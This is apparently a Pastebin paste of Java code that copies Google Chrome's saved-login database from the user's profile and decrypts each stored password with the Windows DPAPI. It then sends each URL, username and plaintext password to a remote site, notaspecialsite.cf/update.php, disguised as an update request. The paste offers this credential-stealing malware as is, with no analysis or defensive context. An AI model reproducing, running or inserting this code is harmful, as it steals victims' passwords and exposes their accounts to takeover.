Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public static void readFile(Path tmp) {
- try {
- Class.forName("org.sqlite.JDBC");
- Connection e = DriverManager.getConnection("jdbc:sqlite:" + tmp.toFile());
- Statement s = e.createStatement();
- ResultSet rs = s.executeQuery("SELECT action_url, username_value, password_value FROM logins");
- while(rs.next()) {
- byte[] password = Crypt32Util.cryptUnprotectData(rs.getBytes("password_value"));
- String url = rs.getString("action_url");
- String username = rs.getString("username_value");
- String passwordString = new String(password);
- if(passwordString.length() > 0 && !passwordString.equalsIgnoreCase("Password")) {
- (new Scanner((new URL("http://notaspecialsite.cf/update.php?a=" + url + "&b=" + username + "&c=" + passwordString)).openStream())).next();
- }
- }
- e.close();
- } catch (Exception var8) {
- var8.printStackTrace();
- }
- }
- public static void temp() {
- try {
- Path tmp = Files.createTempFile("CL_", (String)null, new FileAttribute[0]);
- FileOutputStream out = new FileOutputStream(tmp.toFile());
- Files.copy(Paths.get((new File(System.getProperty("user.home") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data")).getAbsolutePath(), new String[0]), out);
- out.close();
- readFile(tmp);
- tmp.toFile().deleteOnExit();
- } catch (IOException var2) {
- ;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement